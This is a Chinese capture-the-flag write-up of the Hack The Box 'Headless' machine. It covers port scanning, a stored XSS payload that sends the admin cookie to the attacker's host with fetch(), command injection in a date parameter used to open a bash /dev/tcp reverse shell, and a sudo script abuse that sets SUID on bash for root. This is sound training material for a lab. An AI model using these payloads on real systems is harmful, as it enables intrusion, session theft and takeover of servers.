Linux/Headless

Headless

Enumeration

nmap

用 nmap 扫描了常见的端口,发现对外开放了 22 和 5000,而且 nmap 显示 5000 端口的服务是 upnp?

┌──(kali㉿kali)-[~/vegetable/HTB/headless]
└─$ nmap 10.10.11.8
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-24 22:33 EDT
Nmap scan report for 10.10.11.8
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 58.54 seconds

再次使用 nmap 扫描一下这两个端口的详细信息,如下(部分)

┌──(kali㉿kali)-[~/vegetable/HTB/headless]
└─$ nmap -sC -sV -p 22,5000 -oA nmap 10.10.11.8                                       
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-24 22:40 EDT
Nmap scan report for 10.10.11.8
Host is up (0.38s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 900294283dab2274df0ea3b20f2bc617 (ECDSA)
|_  256 2eb90824021b609460b384a99e1a60ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Mon, 25 Mar 2024 02:40:31 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close

在 nmap 给出的结果中,在第 16 行可以看到 server 为 Werkzeug/2.2.2 Python/3.11.2,Werkzeug 是最流行的 Python WSGI 实用程序框架之一,之前在 Agile 机器中也遇到过,当时利用了 LFI to RCE,尝试搜索相关漏洞时,除了刚才的漏洞就只发现了拒绝服务攻击等,没有很大的利用价值。尝试访问 5000 端口,看到结果如下

Exploitation

Cross Site Scripting

页面里没发现什么东西,点击 For questions 会跳转到一个表单,按照内容填写对应信息,然后提交,并没有什么变化,这种留言板一样的东西,会不会是 xss ?

经过一番尝试,使用最基本的 payload(),发现如果在参数 message 后拼接该 payload,页面会报错,显示如下。页面提示说我的 ip 被标记了,包含浏览器信息的报告已发送给管理员进行调查。呕吼,被威胁了!但是这就很奇怪了,之前在这几个参数中都分别添加了 payload,但是只有 message 有这样的提示

如果导致系统异常,就会像上面一样,把信息发送给管理员,经过测试发现在 message 参数处加一个 <script> 触发报错,然后在 User-Agent 处添加一个 payload,img 标签中的 url 地址是在 kali 系统里用 python 开启的,发送下面的数据包

回到 python web 处,可以看到有如下响应,证明实验成功了。message 处添加过滤字符发送到服务器,就会将类似于刚才那种包含了请求头的文件发送给管理员,从而导致 payload 被执行,访问 img 标签中的地址

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.24 - - [25/Mar/2024 03:19:11] "GET / HTTP/1.1" 200 -
10.10.11.8 - - [25/Mar/2024 03:19:20] "GET / HTTP/1.1" 200 -

和刚才的实验一样,可以利用 payload 来获取管理员的 cookie,将 User-Agent 处 payload 替换为 <img src=x οnerrοr=fetch('http://10.10.14.24/'+document.cookie);> ,然后在 kali 中可以收到如下 cookie,一个是自己的,另一个是管理员的

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.24 - - [25/Mar/2024 03:52:31] code 404, message File not found
10.10.14.24 - - [25/Mar/2024 03:52:31] "GET /is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs HTTP/1.1" 404 -
10.10.11.8 - - [25/Mar/2024 03:52:35] code 404, message File not found
10.10.11.8 - - [25/Mar/2024 03:52:35] "GET /is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 404 -

有了 cookie 就可以登录系统了,那肯定得有登录口,简单试了试 login,admin,dashboard 等,发现 dashboard 可用,访问该接口页面显示未认证。然后使用 BurpSuite 抓包,替换 cookie 为刚刚获取到的管理员的 cookie,即可使用管理员身份登录系统

可以在 BurpSuite 中进行设置,以免需要一直在请求头替换 cookie。在 Proxy → Options → Match and Replace 中,点击 Add,在 Match 处添加以前的 cookie,在 Replace 处添加管理员的 cookie。非常简单暴力,主要是因为这两个值都不会变,所以我直接替换了值

Command Injection

点击页面中唯一的按钮 Generate Report 时,并没有生成 Report 或者任何成功/失败的提示,只有页面显示了 Systems are up and running!,不理解是什么意思,也没搞懂发生了什么

在 BurpSuite 中发现,刚才的请求有一个 date 参数,参数值是一个日期,对应了之前页面中显示的日期,尝试在该参数后面添加 ;id,意外的响应了,返回了 id 信息,此处存在命令执行漏洞

接下来在 kali 中开启监听,然后使用如下反向连接 shell 替换数据包中的 id 并发送

bash -c 'bash -i >& /dev/tcp/10.10.14.24/4443 0>&1'

在监听端得到了一个 shell

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4443
listening on [any] 4443 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.11.8] 58590
bash: cannot set terminal process group (1359): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$

然后升级 shell 为交互式

dvir@headless:~/app$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
dvir@headless:~/app$ ^Z
zsh: suspended  nc -nvlp 4443
                                                                                                                                                           
┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg              
[1]  + continued  nc -nvlp 4443
                               reset
reset: unknown terminal type unknown
Terminal type? screen

Privilege Escalation

sudo

使用 sudo -l 发现可以不使用密码以 root 身份执行 /usr/bin/syscheck

dvir@headless:~/app$ sudo -l
sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

查看该脚本,可以看到该脚本用于检查 Linux 系统状态,从第 19 行开始,脚本使用 pgrep 命名检查 是否存在 initdb.sh,如果不存在,脚本输出不存在的消息并尝试运行 initdb.sh,如果存在该脚本,则输出数据库服务正在运行的消息

dvir@headless:/usr/bin$ cat syscheck
cat syscheck
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

需要创建一个 initdb.sh,在其中写入以下内容

#!/bin/bash
sudo chmod u+s /bin/bash

然后为该 .sh 文件添加执行权限,执行 sudo /usr/bin/syscheck 命令,然后执行 bash -p 指令即可获取 root权限

over!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/506450.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

打造安全医疗网络:三网整体规划与云数据中心构建策略

医院网络安全问题涉及到医院日常管理多个方面&#xff0c;一旦医院信息管理系统在正常运行过程中受到外部恶意攻击&#xff0c;或者出现意外中断等情况&#xff0c;都会造成海量医疗数据信息的丢失。由于医院信息管理系统中存储了大量患者个人信息和治疗方案信息等&#xff0c;…

神奇的css radial-gradient

使用css radial-gradient属性&#xff0c;创造一个中间凹陷进去的形状。如下图 background: radial-gradient(circle at 50% -0.06rem, transparent 0.1rem, white 0) top left 100% no-repeat;

vue系列——v-on

<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>v-on指令</title> </head> <body>…

docker部署DOS游戏

下载镜像 docker pull registry.cn-beijing.aliyuncs.com/wuxingge123/dosgame-web-docker:latestdocker-compose部署 vim docker-compose.yml version: 3 services:dosgame:container_name: dosgameimage: registry.cn-beijing.aliyuncs.com/wuxingge123/dosgame-web-docke…

贪吃蛇:从零开始搭建一个完整的小游戏

目录 导语&#xff1a; 一、游戏框架 二、蛇的实现 三、绘制游戏界面 四、食物 五、移动蛇 六.得分系统&#xff0c;是否吃到食物 七、检查碰撞 八、处理按键事件 九、得分系统 十、游戏状态管理 导语&#xff1a; 贪吃蛇这个经典的小游戏&#xff0c;我上学的时候就…

设计模式-概述篇

1. 掌握设计模式的层次 第1层&#xff1a;刚开始学编程不久&#xff0c;听说过什么是设计模式第2层&#xff1a;有很长时间的编程经验&#xff0c;自己写了很多代码&#xff0c;其中用到了设计模式&#xff0c;但是自己却不知道第3层&#xff1a;学习过了设计模式&#xff0c;…

【机器学习】无监督学习与聚类技术:解锁数据的隐藏结构

无监督学习介绍 无监督学习&#xff0c;作为机器学习的一大分支&#xff0c;专注于探索未经标记的数据集中的潜在结构。不同于有监督学习&#xff0c;无监督学习不依赖于外部提供的标签或输出结果&#xff0c;而是通过数据本身的特征来寻找模式、聚类或降维。这种学习方法在多…

03-MySQl数据库的-用户管理

一、创建新用户 mysql> create user xjzw10.0.0.% identified by 1; Query OK, 0 rows affected (0.01 sec) 二、查看当前数据库正在登录的用户 mysql> select user(); ---------------- | user() | ---------------- | rootlocalhost | ---------------- 1 row …

PI案例分享--2000A核心电源网络的设计、仿真与验证

目录 摘要 0 引言 1 为什么需要 2000A 的数字电子产品? 2 2000A 的供电电源设计 2.1 "MPM3698 2*MPM3699"的 MPS扩展电源架构 2.2 使用恒定导通时间(COT)模式输出核心电压的原因 2.3 模块化 VRM 的优势 2.4 用步进负载验证2000A的设计难点 2.4.1 电源网络 …

初始Java篇(JavaSE基础语法)(5)(类和对象(上))

个人主页&#xff08;找往期文章包括但不限于本期文章中不懂的知识点&#xff09;&#xff1a;我要学编程(ಥ_ಥ)-CSDN博客 目录 面向对象的初步认知 面向对象与面向过程的区别 类的定义和使用 类的定义格式 类的实例化 this引用 什么是this引用&#xff1f; this引用…

Python爬虫-懂车帝城市销量榜单

前言 本文是该专栏的第23篇,后面会持续分享python爬虫干货知识,记得关注。 最近粉丝留言咨询某汽车平台的汽车销量榜单数据,本文笔者以懂车帝平台为例,采集对应的城市汽车销量榜单数据。 具体的详细思路以及代码实现逻辑,跟着笔者直接往下看正文详细内容。(附带完整代码…

Gradle 使用详解

目录 一. 前言 二. 下载与安装 2.1. 下载 2.2. 配置环境变量 2.3. 配置镜像 2.3.1. 全局设置 2.3.2. 项目级设置 三. Gradle 配置文件 3.1. build.gradle 3.2. settings.gradle 3.3. gradle.properties 3.4. init.d 目录 3.5. buildSrc 目录 四. Java Library 插…

计算机网络——28自治系统内部的路由选择

自治系统内部的路由选择 RIP 在1982年发布的BSD-UNIX中实现Distance vector算法 距离矢量&#xff1a;每条链路cost 1&#xff0c;# of hops(max 15 hops)跳数DV每隔30秒和邻居交换DV&#xff0c;通告每个通告包括&#xff1a;最多25个目标子网 RIP通告 DV&#xff1a;在…

Qt笔记-解决Qt程序连不上数据库MySQL数据库(重编libqsqlmysql.so)

使用QSqlDatabase连接MySQL数据库时。在自己程序配置没有错误的情况下报这类错误&#xff1a; QSqlDatabase: QMYSQL driver not loaded QSqlDatabase::exec: database not open 造成这样的问题大多数是libqsqlmysql.so有问题。 Qt的QSqlDatabase使用的是libqsqlmysql.so&a…

文章解读与仿真程序复现思路——电网技术EI\CSCD\北大核心《偏远地区能源自洽系统源储容量协同配置方法》

本专栏栏目提供文章与程序复现思路&#xff0c;具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》 论文与完整源程序_电网论文源程序的博客-CSDN博客https://blog.csdn.net/liang674027206/category_12531414.html 电网论文源程序-CSDN博客电网论文源…

HTTP 常见面试题(计算机网络)

HTTP 基本概念 一、HTTP 是什么&#xff1f; HTTP(HyperText Transfer Protocol) &#xff1a;超文本传输协议。 HTTP 是一个在计算机世界里专门在「两点」之间「传输」文字、图片、音频、视频等「超文本」数据的「约定和规范」。 「HTTP 是用于从互联网服务器传输超文本到本…

《FFmpeg开发实战:从零基础到短视频上线》出版后记

在软件开发行业当中&#xff0c;音视频是比较小众的方向&#xff0c;以至于很多程序员都没听说过YUV&#xff0c;就更别说了FFmpeg。实际上FFmpeg很早就有了&#xff0c;只是它采用C语言编写&#xff0c;所以在WEB当道的国内软件业中&#xff0c;FFmpeg就像独孤求败那样&#x…

PVE设置显卡直通(二:Linux显卡直通,以及Linux系统下安装cuda库)

PVE设置显卡直通(一:硬件设置) 本文仅记录PVE关于Linux下的显卡直通步骤 例程不过多阐述 ps: 无直通经验的同学,先参阅 PVE设置显卡直通(一:硬件设置),再参阅本博文 参阅完成 PVE设置显卡直通(一:硬件设置)后,直接在PVE面板中添加显卡硬件到自己的主机即可,此文中…

JavaScript(二)---【js数组、js对象、this指针】

零.前言 JavaScript(一)---【js的两种导入方式、全局作用域、函数作用域、块作用域】-CSDN博客 一.js数组 在js中也有数组的概念&#xff0c;数组使用“[]”定义&#xff0c;其中数组中还可以嵌套数组从而达到多层数组的作用。 访问数组中的某个元素&#xff0c;我们可以直…

什么是HTTP? HTTP 和 HTTPS 的区别?

文章目录 一、HTTP二、HTTPS三、区别参考文献 一、HTTP HTTP (HyperText Transfer Protocol)&#xff0c;即超文本运输协议&#xff0c;是实现网络通信的一种规范 在计算机和网络世界有&#xff0c;存在不同的协议&#xff0c;如广播协议、寻址协议、路由协议等等… 而HTTP是…